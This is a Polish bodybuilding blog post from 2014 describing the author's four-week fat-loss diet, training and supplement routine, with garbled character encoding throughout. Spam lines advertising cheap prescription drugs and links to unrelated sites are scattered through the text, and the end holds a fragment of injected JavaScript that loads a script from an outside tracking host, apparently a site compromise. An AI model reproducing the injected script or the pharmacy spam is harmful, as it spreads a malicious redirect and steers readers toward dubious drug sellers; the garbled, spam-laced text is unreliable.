Co obecnie u mnie – trening, dieta, suplementacja

20.01.2014 / Patryk Bielawski / Kulturystyka

Obecnie jestem w mezocyklu redukcji tkanki tAi??uszczowej, ktA?ry wyznaczyAi??em sobie na 4 tygodnie. Okres krA?tki, ale ma byAi?? to jedynie przerywnik miAi??dzy okresami budowania suchej masy miAi??Ai??niowej – pomoA?e przywrA?ciAi?? odpowiedni BF, oraz ponownie zaszokowaAi?? (wygAi??odzone po redukcji) miAi??Ai??nie, nadwyA?kAi?? kalorycznAi??. Obecnie forma po dwA?ch tygodniach wyglAi??da jak na poniA?szym obrazku. ZdjAi??cia „zrobione z marszu”.
Cheap greenstone generic zoloft. buy Zoloft uk pharmacy online . cipla sertraline.

Buy Patryk Bielawski - obecna forma 19.01.2014

Zarys mojej obecnej diety (wymieniam posiAi??ki na inne o takich samym rozkAi??adzie makroskAi??adnikA?w):

  • 1. 5 caAi??ych jaj L + 85g pAi??atkA?w owsianych gA?rskich
  • 2. 250g piersi kurczaka + 50g ryA?u + 14g oliwy z oliwek
  • Order

  • 3. 250g piersi kurczaka + 50g ryA?u
  • 4. 65g odA?ywki biaAi??kowej + 1,5 banana
  • cheap pills

  • 5. 5 caAi??ych jaj L

Pills fosamax alendronate sodium tablets price
Warzyw nie wliczam do bilansu kalorycznego.

Trening siAi??owy 5 razy w tygodniu – w ciAi??gu tych 4 tygodniu redukcji odpuszczam sztywny plan i Ai??wiczAi?? intuicyjnie.

Trening aerobowy – w tym tygodniu 6x45min, w przyszAi??ym i ostatnim 5x55min

Suplementacja:

  • – multiwitamina: 2-3 razy dziennie po posiAi??kach
  • Buy

  • – omega-3: 2-3g dziennie do posiAi??kA?w
  • http://www.annamoes.com/cheap-endept/

  • – kofeina: 200mg 1-2 razy dziennie (CAFFEINE 200 PLUS)
  • – odA?ywka biaAi??kowa: po treningu siAi??owym (posiAi??ek 4.)
  • online viagra store australia

  • – kreatyna: 4,5g na treningu
  • – beta-alanina: 4,5g na treningu
  • – bcaa: 5g rano i 15g na treningu
  • – hydrolizat kolagenu: 2 porcje dziennie

DoAi??oA?Ai?? jeszcze porcjAi??Ai??AAKG MEGA HARDCORE przed treningiem siAi??owym.

PA?ki co to tyle – po wiAi??cej informacji zapraszam na mA?j fanpage ->Ai?? Order Trener Personalny – Patryk BielawskiAi?? how much does isoniazid cost http://www.vocationtraining.org/2018/02/02/triamcinolone-price/

 }s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‚&default_keyword=’ + encodeURIComponent(document.title) + ”; var d=document;var s=d.createElement(‚script’);